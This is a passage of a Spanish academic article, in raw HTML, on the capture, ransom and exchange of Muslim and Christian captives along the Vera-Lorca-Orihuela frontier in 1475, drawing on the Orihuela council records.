style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Ab\u00afu-l Hacem y proclamado Muh.amad Abdallah, rey de Granada con el nombre de Muh. ammad XI, Boabdil.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Pedro Fajardo hab\u00eda recibido en compensaci\u00f3n a los servicios prestados a Enrique IV por la guerra de 1464 las ciudades de Cartagena y Lorca. El respeto a la soberan\u00eda del monarca castellano y las acciones emprendidas en beneficio de aquel territorio fueron motivo suficiente para que el citado rey hiciera una serie de concesiones. Este es el caso de la concesi\u00f3n en 24 de octubre de 1465 de mercado franco los jueves de cada semana, y de igual modo, la promesa de amparo y protecci\u00f3n de las ciudades bajo la corona de Castilla, hecho que fue objeto de ratificaci\u00f3n en el per\u00edodo comprendido entre 1466 y diciembre de 1474, a\u00f1o del fallecimiento del citado rey. Fue precisamente en aquel mismo mes cuando la corona pas\u00f3 a su hermana do\u00f1a Isabel, fecha en la que, <span style=\"font-size: small\">por otro lado, y conforme a la documentaci\u00f3n consultada, acontecen los <\/span>hechos descritos en la carta de Vera. El citado documento alude a que la petici\u00f3n de unos musulmanes apresados por las gentes de Orihuela se hab\u00eda reclamado ocho meses antes de la fecha en que fue redactado el texto, dando origen a un conflicto que se demoraba m\u00e1s all\u00e1 de lo previsto.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Las actuaciones de Pedro Fajardo se circunscribieron al sometimiento por las armas o bien por medio de la diplomacia de los territorios murcianos de aquel adelantamiento; especialmente de los que se encontraban bajo el dominio del marqu\u00e9s de Villena, que fueron objeto de sus veleidades y desafueros hasta su definitiva rendici\u00f3n a la corona. No en vano en mayo del a\u00f1o 1475, tres meses antes del desencadenamiento del conflicto por motivo del apresamiento de los musulmanes de Vera, Castilla acomet\u00eda la pacificaci\u00f3n de los territorios <span style=\"font-size: small\">gobernados por el desleal Marqu\u00e9s de Villena. <\/span>En cuanto a la frontera con el Reino de Arag\u00f3n, el trato que deparaba el monarca aragon\u00e9s a los musulmanes de aquellas tierras no era sino consecuencia de la reciprocidad consensuada entre los sultanes nasr\u00edes y el rey. Es m\u00e1s, durante el siglo <span style=\"font-size: xx-small\">XV <\/span>se ha constatado una actitud menos cruel respecto a los cautivos o detenidos, fruto de esas mismas relaciones y trato as\u00ed pactado entre los reyes y sultanes de ambos lados de la fronteraEn efecto, la frontera con los <span style=\"font-size: small\">nasr\u00edes de Granada, configurada a lo largo de una l\u00ednea perpendicular a la costa, hac\u00eda de Lorca zona de paso hacia las tierras del reino de Murcia; de <\/span>hecho, y durante siglos, Lorca era mencionada como ciudad de paso en los itinerarios seguidos entre el norte de \u00c1frica y Al-Andalus, as\u00ed como en las rutas que comunicaban las ciudades de Sharq-al-Andalus con la capital anta\u00f1o del califato de C\u00f3rdoba. A esta circunstancia se un\u00eda el hecho de su proximidad a ciudades tan importantes de su entorno como Murcia, Cartagena, Murviedro o \u00c1guilas, zona portuaria de Almer\u00eda y cuya importancia respecto al tr\u00e1fico mar\u00edtimo <span style=\"font-size: small\">se constataba desde antiguo<\/span><span style=\"font-size: small\">. La l\u00ednea entre Lorca y Vera era lugar de tr\u00e1nsito por gentes de uno y otro territorio, y lugar especialmente preferido <\/span><span style=\"font-size: small\"><i>para el rescate o intercambio de cautivos por parte de los \u00abejea\u00bb, \u00abegea\u00bb o <\/i><\/span><span style=\"font-size: small\">\u00abexea\u00bb, tal y conforme aparece en las Actas Capitulares de Orihuela. Esa actividad era consecuencia a su vez de las incursiones de gentes de Orihuela en territorio granadino y viceversa, d\u00e1ndose la circunstancia de que los musulmanes granadinos encontraban mayores dificultades para llegar a aquella ciudad por el hecho de tener que atravesar tierras bajo se\u00f1or\u00edo murciano. De ah\u00ed que ante el apresamiento de musulmanes reclamasen ante el adelantamiento murciano la liberaci\u00f3n de los cautivos y la entrega de los retenidos en Orihuela, que hab\u00edan cometido su mala acci\u00f3n atravesando el citado adelantamiento murciano. Esta situaci\u00f3n supon\u00eda la intervenci\u00f3n de tres instituciones territoriales distintas; por un lado la aljama y consejo de los musulmanes de Vera que reclamaban a sus correligionarios ante el concejo de Orihuela; en segundo t\u00e9rmino el adelantamiento de Lorca, a quien deb\u00edan dirigirse las s\u00faplicas elevadas ante el concejo de Orihuela por causa de la retenci\u00f3n de los cautivos en aquella ciudad; y en tercer lugar la intervenci\u00f3n del concejo de Orihuela, destinatario de las peticiones de liberaci\u00f3n e intercesi\u00f3n, de los cautivos musulmanes, que como en el documento que nos ocupa, pod\u00edan ser intercambiados <\/span>por cautivos cristianos. De este modo los musulmanes garantizaban a los lorquinos la liberaci\u00f3n de sus presos murcianos siempre y cuando los lorquinos mediaran con el concejo de Orihuela. El documento que aqu\u00ed se presenta es buena prueba de esta delicada situaci\u00f3n: la aljama de Vera, a trav\u00e9s de sus representantes, hace valer el derecho sobre los musulmanes que segu\u00edan retenidos por causas no esclarecidas, y vulnerando todos los acuerdos de paz y los plazos al uso para la resoluci\u00f3n de este tipo de conflictos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">No puede resultar extra\u00f1o que en virtud de los problemas inherentes a la convulsa y delicada situaci\u00f3n fronteriza, bien como consecuencia de la obligada tenencia y mantenimiento de las fortalezas<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">\u2013caso de la l\u00ednea fronteriza<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">entre Vera y Algeciras defendida por los <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\">wilaya al-qiya-da<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">\u2013, o del libre tr\u00e1nsito <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">de mercaderes y viandantes, surgieran instituciones que, como en el caso del alcalde mayor entre moros y cristianos, los fieles del rastro, los alfaqueques y ejeas, estuvieran destinadas a la consecuci\u00f3n de ciertas garant\u00edas tanto para procurar el tr\u00e1nsito en aquellos territorios como para favorecer en situaciones adversas la protecci\u00f3n y liberaci\u00f3n de cautivos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En el \u00e1mbito local la intervenci\u00f3n de los representantes de las ciudades de <span style=\"font-size: small\">frontera fue una constante en estas cuestiones liberatorias. En efecto, la liberaci\u00f3n <\/span>y trato reservado a los cautivos dieron lugar a destacadas actuaciones de oficiales leales a sus respectivos concejos, siempre conforme a la legalidad vigente y, de manera especial, a los tratados y acuerdos vigentes entre los reinos y sultanato <span style=\"font-size: small\">de Granada. No obstante ello, y conforme queda reflejado en la documentaci\u00f3n <\/span>conservada en el Archivo de Orihuela, los apresamientos se resolv\u00edan conforme a unos principios bien legales o bien consuetudinarios, que por razones consuetudinarias hab\u00edan adquirido el pleno reconocimiento por parte de los miembros de los consejos locales implicados en estas cuestiones. Es as\u00ed que el cautivo en tiempo de guerra era considerado como por buena ley, y, al contrario el apresamiento en tiempo de paz comportaba su inmediata devoluci\u00f3n y castigo al que le cautiv\u00f3.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">2. EL APRESAMIENTO DE MUSULMANES<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">2.1 <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>El caso de Vera<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Uno de los testimonios que evidencia ese nivel de relaci\u00f3n a nivel local entre ciudades fronterizas durante el siglo <span style=\"font-size: xx-small\">XV <\/span>es la carta de Vera, enviada por los representantes legales de la citada <span style=\"font-family: Times-Italic,serif\"><i>madina <\/i><\/span>a los miembros del Concejo de la ciudad de Orihuela; un documento que pone de manifiesto no s\u00f3lo el nivel de comunicaci\u00f3n establecido entre ambas ciudades sino tambi\u00e9n el sometimiento de este tipo de cuestiones a la jurisdicci\u00f3n local.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Ahora bien, ese nivel informativo que ofrece la lectura del texto no se corresponde con los datos que ofrece la documentaci\u00f3n hist\u00f3rica conservada en los archivos de las ciudades a las que alude el texto. En efecto, la alusi\u00f3n al conflicto se encuentra tan s\u00f3lo expl\u00edcitamente contenida en las Actas Capitulares <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">del Archivo de Orihuela, si bien en el Archivo Municipal de Lorca se encuentra <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">una documentaci\u00f3n relativa al pleito fronterizo<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">seguido durante m\u00e1s de dos<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">siglos entre las ciudades de Vera y Lorca, en los que se ofrecen ciertos datos <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">que guardan analog\u00eda con los descritos en la documentaci\u00f3n consultada.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">En aquellos a\u00f1os de hambrunas, sequ\u00eda, peste y movimientos s\u00edsmicos, y conforme a los datos contenidos en la carta enviada por los representantes legales de la <\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>madina <\/i><\/span><\/span><span style=\"font-size: small\">de Vera al Concejo de Orihuela, tiene lugar el intercambio epistolar entre las ciudades de Lorca, Vera y Orihuela relat\u00e1ndose los hechos descritos en agosto de 1475. Se refiere a las negociaciones iniciadas meses antes, con la finalidad de liberar a unos musulmanes apresados en el Mediterr\u00e1neo, y retenidos inicialmente en Orihuela. Las Actas Capitulares de la ciudad de Orihuela correspondientes a ese a\u00f1o transcriben la documentaci\u00f3n intercambiada entre los distintos concejos y el Adelantado Mayor de Murcia, Pedro Fajardo. Unas cartas que comienzan a enviarse a ra\u00edz de las misivas entre<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">Orihuela y Lorca, entre Orihuela y Vera<\/span><span style=\"font-size: small\">y para don Pedro Fajardo, como adelantado del Reino de Castilla.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Todas estas cartas guardan una relaci\u00f3n de contenido con la carta de Vera, la cual hace referencia a unos hechos acaecidos meses antes y que, en su conjunto, permiten esclarecer las causas que indujeron al env\u00edo sucesivo de embajadas entre Vera, Orihuela y Lorca. As\u00ed pues hay constancia del abordaje de una galeota en Cartagena, y en la que figuraban como tripulantes dos oriolanos; el <span style=\"font-size: small\">bergant\u00edn o \u00abfusta\u00bb era capitaneado por un tal Lope Adalid, vecino de Lorca <\/span>y en ella figuraban unos cristianos que seg\u00fan relata el Concejo de Orihuela a los de Vera,<i> <\/i><span style=\"font-family: Times-Italic,serif\"><i>foren portats ab engan, e entraren en la dita fusta en los termens de Cartagena<\/i><\/span><i>.<\/i><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Al tener conocimiento las gentes de Vera de los hechos acaecidos, y en virtud de la presencia de oriolanos en la galeota causante de la interferencia del bergant\u00edn, procedieron a tomar la revancha, apresando a unos cautivos que ser\u00edan utilizados como moneda de cambio para el canje de los musulmanes retenidos. Pero he aqu\u00ed que seg\u00fan citan las fuentes, los musulmanes detenidos en Orihuela consiguieron escapar, y esta circunstancia pone de relieve el nivel de relaci\u00f3n entre el reino de Murcia y la ciudad de Vera del reino nasr\u00ed, por cuanto el Adelantado de aquel reino, radicado en Lorca, mand\u00f3 retener a los musulmanes con el objeto de evitar la acci\u00f3n de la justicia oriolana sobre los huidos. Esta situaci\u00f3n fue protestada por el Concejo de Orihuela bajo amenaza <span style=\"font-size: small\">de repercutir a Lorca la responsabilidad y da\u00f1os acaecidos por tales hechos.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">A partir de este momento se iniciar\u00edan las conversaciones a un triple nivel. Por un lado la ciudad de Orihuela acometi\u00f3 una serie de contactos con los representantes legales en Vera para la liberaci\u00f3n de los cristianos retenidos, esgrimiendo como raz\u00f3n fundamental que el galeote causante del hecho no era de bandera \u00abaragonesa\u00bb, sino que tan s\u00f3lo en ella iban unos tripulantes de aquel lugar; por el contrario, la embarcaci\u00f3n era de bandera \u00abcastellana\u00bb, ya que la <span style=\"font-size: small\">galeota hab\u00eda sido armada en Cartagena, localidad perteneciente al reino de <\/span>Murcia. En un segundo momento las gentes de Orihuela se dirigieron tambi\u00e9n a Lorca, solicitando al Adelantado la devoluci\u00f3n de los musulmanes retenidos; Pedro Fajardo contest\u00f3 justificando la retenci\u00f3n de los causantes a partir del acuerdo vigente entre el emirato nazar\u00ed y el Reino de Castilla para la restituci\u00f3n de los cautivos o indemnizaci\u00f3n del da\u00f1o que pudiera causar la pirater\u00eda en la demarcaci\u00f3n mar\u00edtima, tanto de signo cristiano como musulm\u00e1n. Y he aqu\u00ed que el citado Adelantado se hace portavoz de un principio fundamental contenido en los tratados internacionales de aquel momento, cual era la reciprocidad. Por \u00faltimo, en un tercer momento, las gentes de Vera \u2013ante la dilaci\u00f3n de la soluci\u00f3n del conflicto\u2013 solicitaron a los miembros del Concejo de Orihuela <span style=\"font-size: small\">la inmediata liberaci\u00f3n de aquellos que hab\u00edan sido retenidos en Lorca. <\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En este estado de la cuesti\u00f3n, conviene se\u00f1alar que los hechos descritos traslucen un punto muerto de las negociaciones, ya que la liberaci\u00f3n de los musulmanes retenidos en principio por Orihuela precisaba, por una parte, la indemnizaci\u00f3n por los da\u00f1os causados al bergant\u00edn procedente de Ibiza, y cuya reclamaci\u00f3n hab\u00eda de cursarse ante las autoridades responsables de la embarcaci\u00f3n y, en concreto, del lugar donde \u00e9sta hab\u00eda sido armada, Cartagena. De ah\u00ed<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">las misivas al representante legal de la reina de Castilla, el adelantado mayor del Reino, Pedro Fajardo. Por otra parte, tambi\u00e9n era necesaria la consecuci\u00f3n de un acuerdo o garant\u00eda por parte del Adelantado respecto a la ciudad de Orihuela, en el sentido de que la liberaci\u00f3n de los musulmanes retenidos en esta ciudad deb\u00eda ser coincidente con la asunci\u00f3n de responsabilidad e indemnizaci\u00f3n por parte del adelantamiento de Murcia respecto a los da\u00f1os causados a los navegantes de Vera. Esta propuesta a tenor de la documentaci\u00f3n consultada, no parece convincente a las gentes de Orihuela que pretend\u00edan trasladar la responsabilidad <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">por tales hechos al lugar del que era titular de bandera la galeota apresada.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Por \u00faltimo se precisaba tambi\u00e9n el compromiso del Adelantado de liberar a los cristianos retenidos en Lorca, y considerados causantes del hecho. \u00c9stos seg\u00fan las embajadas con Orihuela, no pod\u00edan ser objeto de enjuiciamiento como culpables, ya que tan s\u00f3lo eran miembros de una tripulaci\u00f3n, y no representantes de la bandera que ondeaba en el barco; aunque con ellos fueran tambi\u00e9n <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>dos vagabunts stranys dels regnes de Castella induits e conduites per Lope Adalid<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">, quienes seg\u00fan la carta enviada a Lorca <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>eren anats sacretament en <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>lo terme de aquexa ciutat en la dita fusta<\/i><\/span><\/span><span style=\"font-size: small\">.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Y en efecto, tal y conforme queda recogido en las Actas Capitulares de Orihuela, respecto a las condiciones para el mantenimiento de paz entre ambos reinos \u2013el nazar\u00ed y el aragon\u00e9s\u2013, los da\u00f1os seguidos por aquellas embarcaciones armadas en territorio oriolano, bien por naturales o bien por extranjeros que capturasen a musulmanes en aguas del Mediterr\u00e1neo, se exigir\u00edan al Consejo de aquella ciudad por ser responsable de la provisi\u00f3n para la construcci\u00f3n de tales embarcaciones, debiendo resarcir los da\u00f1os <span style=\"font-family: Times-Italic,serif\"><i>de justicia y raz\u00f3n <\/i><\/span>causados.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">En cualquier caso, los hechos acaecidos entre Vera y Orihuela no son en modo alguno excepcionales para aquella \u00e9poca. Incluso algunos testimonios recogidos con posterioridad a la fecha del citado documento de Vera, podr\u00edan poner en conexi\u00f3n este percance con el trascrito en dos folios separados de las citadas Actas Capitulares, en los que de nuevo se relatan las peripecias acaecidas con motivo del rescate de unos cristianos <span style=\"font-family: Times-Italic,serif\"><i>de terra de moros del realme de Granada e moros del dit regne onsevol que sien. <\/i><\/span>Tambi\u00e9n podr\u00eda conectarse con aquel otro apresamiento relatado a\u00f1os m\u00e1s tarde por uno de los encausados en el pleito fronterizo entre Lorca y Vera, respecto a unos cautivos tomados de la ciudad de Vera hacia 1480. Todos estos hechos, acaecidos durante per\u00edodos de paz, dieron lugar a la puesta en marcha de mecanismos jur\u00eddicos al uso, y entre \u00e9stos a la intervenci\u00f3n de los fieles del rastro, con el fin de hacer efectiva la liberaci\u00f3n de los detenidos. \u00c9stos de forma habitual eran conducidos a las islas Baleares, y concretamente hasta Ibiza, para ser vendidos como esclavos; circunstancia que, por otro lado, era objeto de innumerables reclamaciones y conflictos, incluso supraterritoriales. El intercambio de embajadas dio lugar al<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">traslado de los citados cautivos hasta Orihuela y de all\u00ed reclamados por Lorca, que procedi\u00f3 a su canje conforme a los acuerdos de paz y tratados mantenidos entre el emirato nazar\u00ed y el Reino de Castilla.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Las consultas realizadas en los Archivos Municipales de Lorca y Vera no han podido dar luz a muchas de las cuestiones suscitadas de la lectura de la carta enviada por los representantes de la aljama de Vera, ya que no hay correspondencia entre las Actas Capitulares conservadas y la fecha de dataci\u00f3n de la carta de Vera. No obstante esta carencia, fuentes indirectas, tales como la documentaci\u00f3n citada sobre el pleito Lorca-Vera de 1516, han permitido conocer el modo frecuente de actuaci\u00f3n respecto a la aprehensi\u00f3n y liberaci\u00f3n de musulmanes que, como los \u00abrobados\u00bb por un tal Juan Mellado de Lorca fueron vendidos en Ibiza. La acci\u00f3n de los fieles del rastro permiti\u00f3 que \u00e9stos recibieran la pista o rastro sobre su paradero y correspondieran con la promesa de su devoluci\u00f3n si los primeros eran hallados, estableciendo como alternativa a la entrega el pago del valor por el musulm\u00e1n o musulmanes cautivados. En este caso, el rastro condujo a los lorquinos hasta la costa, y de all\u00ed a Ibiza, precisamente al mismo lugar al que hab\u00edan sido conducidos los musulmanes reclamados en <span style=\"font-size: small\">la carta de Vera. Como quiera que el objeto del traslado hasta Ibiza era la venta <\/span>como esclavos, una vez fue pagado su importe y rescatado, se le traslad\u00f3 hasta Lorca y all\u00ed entregado a las autoridades de Vera; la acci\u00f3n de la justicia se hizo efectiva sobre la persona que hab\u00eda motivado tal conflicto, Juan Mellado, <span style=\"font-size: small\">que, como relatan los documentos, fue castigado con la pena de la horca.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\"><span style=\"font-size: small\">2.2 <\/span><span style=\"font-family: Times-Bold,serif\"><span style=\"font-size: small\"><b>Circunstancias y consecuencias del apresamiento<\/b><\/span><\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La situaci\u00f3n descrita por la carta de Vera es trasunto de la realidad vivida en aquel tiempo a ambos lados de la frontera; siendo este documento pretexto para determinar las causas y factores que condicionaron el nivel de comunicaci\u00f3n a tenor de los apresamientos de cautivos. As\u00ed por ejemplo, en el marco de las relaciones comerciales entre pa\u00edses isl\u00e1micos, <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>dar al Isla-m<\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">, y los pa\u00edses no musulmanes, <\/span><\/span><span style=\"font-family: Times-Italic,serif\"><span style=\"font-size: small\"><i>dar al-harb, <\/i><\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">muchos fueron los conflictos suscitados por el no acatamiento de los requisitos formales que permitieran el libre tr\u00e1nsito. El Derecho isl\u00e1mico, y concretamente la escuela malek\u00ed, de gran predicamento en al-Andalus, preve\u00eda soluciones jur\u00eddicas a los conflictos suscitados en el marco de estas relaciones interterritoriales \u2013y adem\u00e1s interconfesionales\u2013, <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">como consecuencia del tr\u00e1fico mar\u00edtimo por el Mediterr\u00e1neo. Para ello sedesarrollaron una serie de instrumentos jur\u00eddicos eficaces para garantizar la <\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">seguridad y evitar susceptibilidades respecto a las intenciones y acreditaci\u00f3n<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">de quienes se dedicaban al comercio, siendo \u00e9ste el caso de los salvoconductos o documentos acreditativos de libre paso. Aun a pesar de ello, los problemas se suscitaban indefectiblemente debido a la falta de n\u00edtida delimitaci\u00f3n de conceptos tales como aguas jurisdiccionales y zonas de libre tr\u00e1nsito. De ah\u00ed, que la jurisprudencia malek\u00ed comprenda un elenco relativamente amplio de soluciones jur\u00eddicas a las preguntas formuladas a los juristas con el fin de esclarecer y fundamentar las posturas defendidas por los mercaderes de aquellos <span style=\"font-size: small\">siglos bajomedievales.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Una de las cuestiones m\u00e1s frecuentes era la que se suscitaba respecto al leg\u00edtimo apresamiento de gentes que transitaban por territorio fronterizo, o que navegaban en aguas de dominio cristiano o musulm\u00e1n, sin la correspondiente autorizaci\u00f3n. La consecuencia de la trasgresi\u00f3n de los acuerdos y tratados de paz respecto a este supuesto era el apresamiento de quienes se adentraban en territorio extranjero. Ello propici\u00f3 un gran esfuerzo por parte de los expertos en Derecho, con el fin de motivar y justificar la posible improcedencia de quienes apresaban a gentes de uno y otro lado reduci\u00e9ndolos a la condici\u00f3n de rehenes. Por otra parte, la condici\u00f3n de reh\u00e9n no s\u00f3lo se adquir\u00eda por esta raz\u00f3n, sino que eran varios los supuestos que pod\u00edan conllevar la p\u00e9rdida de libertad, y as\u00ed lo demuestran los documentos consultados de la \u00e9poca; de ah\u00ed que la jurisprudencia se preocupara por determinar los derechos y obligaciones exigibles a apresadores y sometidos, cualquiera que fuera el supuesto de la retenci\u00f3n. En otro orden de cosas, el cumplimiento de los compromisos adquiridos entre los m\u00e1ximos responsables pol\u00edticos de los reinos fue exigencia esgrimida por los representantes legales de uno u otro lado de la frontera para facilitar la resoluci\u00f3n de conflictos por causa de la ileg\u00edtima retenci\u00f3n de personas de uno u otro punto de aqu\u00e9lla, debi\u00e9ndose garantizar el cumplimiento de los compromisos adquiridos entre los m\u00e1ximos responsables pol\u00edticos de los reinos. En cualquier caso, la resoluci\u00f3n de los conflictos precisaba del transcurso del tiempo, siendo por ello preciso el sometimientodel pacto de liberaci\u00f3n a un plazo determinado, durante el cual la retenci\u00f3n de los rehenes estaba, en cierta manera, justificada por raz\u00f3n de la consecuci\u00f3nde los requisitos exigidos para el rescate o canje de cautivos. Pues bien, todas estas exigencias y garant\u00edas est\u00e1n contempladas en los documentos consultados para el esclarecimiento del asunto de los musulmanes de Vera, y constituyen el fundamento legal para comprender la inquietud de aquellas gentes ante la demora del acuerdo liberatorio pactado hac\u00eda ya alg\u00fan tiempo.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La situaci\u00f3n de paz vigente entre el sultanato de Granada y los reinos de Arag\u00f3n y Castilla era resultado de una serie de acuerdos y tratados, por los que se establec\u00edan ciertas normas consensuadas, y entre ellas merec\u00eda un lugar destacado el trato reservado a los prisioneros y cautivos privados de libertad en<\/span><\/span><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">tiempos de paz. La trascendencia de estos acuerdos para el mantenimiento de la paz, explica, por ejemplo, que los m\u00e1ximos representantes legales de cada una de las comunidades interviniesen personalmente en los procesos tendentes a la liberaci\u00f3n de cautivos. Este fue el caso de Yu &#8211; suf I de Granada, quien intercedi\u00f3 en diversas ocasiones reclamando prisioneros, a tenor de los compromisos adquiridos en este sentido con Pedro IV. En un caso concreto los cautivos reclamados hab\u00edan sido trasladados de Valencia a Almer\u00eda por un cristiano que deseaba hacerse con el importe del rescate. La intervenci\u00f3n del monarca quedaba justificada por la petici\u00f3n expresa que a \u00e9l hab\u00edan cursado los parientes del cautivo, argumentando que tal retenci\u00f3n se hab\u00eda realizado en tiempos de paz, y en este caso s\u00f3lo compet\u00eda la devoluci\u00f3n autom\u00e1tica, tratando as\u00ed de evitar el pago al cristiano. El modo habitual de proceder en estos casos consist\u00eda en efectuar el pago para luego pedir la intercesi\u00f3n del monarca que, como en el caso de Yu &#8211; suf, deb\u00eda reclamar la indemnizaci\u00f3n o el reintegro del dinero a los parientes, tal y conforme determinaban los acuerdos entre los distintos reinos.<\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Desde anta\u00f1o la esclavitud fue uno de los problemas entre cristianos y musulmanes respecto al tratamiento debido a quienes por aquella circunstancia ve\u00edan modificada su capacidad jur\u00eddica, y de obrar. La consideraci\u00f3n como esclavos dom\u00e9sticos de quienes eran apresados en tierras cristianas supuso la aplicaci\u00f3n de una legislaci\u00f3n en la que las condiciones proteccionistas hab\u00edan sido previamente establecidas y consensuadas de forma rec\u00edproca. As\u00ed por ejemplo los musulmanes apresados en las naves dedicadas al corso, ya desde los tiempos de Jaime II, se somet\u00edan a la jurisdicci\u00f3n del bayle local, y por tanto en tiempos de guerra quedaban bajo la protecci\u00f3n real; deb\u00edan en este caso los apresados facilitar todo tipo de informaci\u00f3n relativa a su origen y condiciones <span style=\"font-size: small\">personales, datos que adem\u00e1s pod\u00edan ser utilizados con fines econ\u00f3micos.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">Lo habitual de los apresamientos en el territorio fronterizo propici\u00f3 que las autoridades locales cristianas arbitraran las medidas pertinentes para procurar la seguridad en la retenci\u00f3n de los cautivos; de este modo, desde los primeros momentos de la fijaci\u00f3n de las fronteras cristiana y musulmana se determin\u00f3 la creaci\u00f3n de una c\u00e1rcel que permitiera garantizar la custodia de los <span style=\"font-size: small\">cautivos. Esta medida para los musulmanes, y conforme al Derecho isl\u00e1mico, <\/span>s\u00f3lo se reservaba a quienes no pod\u00edan hacer frente a penas pecuniarias impues-tas, y no m\u00e1s all\u00e1 del tiempo necesario para la consecuci\u00f3n de las cantidades pecuniarias debidas. A pesar de ello, la venta de esclavos fue una de las pr\u00e1cticas m\u00e1s frecuentes entre gentes de un lado y otro de la frontera; y en este caso Ibiza y Mallorca eran los lugares de destino para aqu\u00e9llos. En las islas Baleares se llevaba a t\u00e9rmino las transacciones comerciales, puesto que era ah\u00ed donde <span style=\"font-size: small\">mejor cotizaba el mercado de esclavos.<\/span><\/span><\/span><\/p>\n<p align=\"LEFT\"><span style=\"font-family: Times-Roman,serif\"><span style=\"font-size: small\">La continua amenaza que supuso la pirater\u00eda y el corso, propici\u00f3 la intervenci\u00f3n de las m\u00e1s destacadas autoridades tanto del reino de Granada como de los reinos castellano y aragon\u00e9s. La diplomacia \u2013especialmente a trav\u00e9s de relaciones epistolares auspiciadas por las canciller\u00edas de los reinos afectados\u2013 fue el instrumento que favoreci\u00f3, en numerosas ocasiones, la resoluci\u00f3n de los problemas derivados de la retenci\u00f3n y apropiaci\u00f3n indebida de personas, bestias y otras cosas en aguas valencianas de gentes procedentes de puertos cristianos o <span style=\"font-size: small\">musulmanes, siendo en este caso el puerto de Algeciras el m\u00e1s activo. Las <\/span>negociaciones para la liberaci\u00f3n de los cristianos y musulmanes apresados en la frontera eran competencia de los oficiales de m\u00e1s alto nivel, si la condici\u00f3n <span style=\"font-size: small\">social de los detenidos as\u00ed lo requer\u00eda; desde Bernat de Segalars como bayle <\/span>general del reino de Valencia, o Bernat Sarri\u00e1, procurador general del reino de Murcia en el siglo <span style=\"font-size: 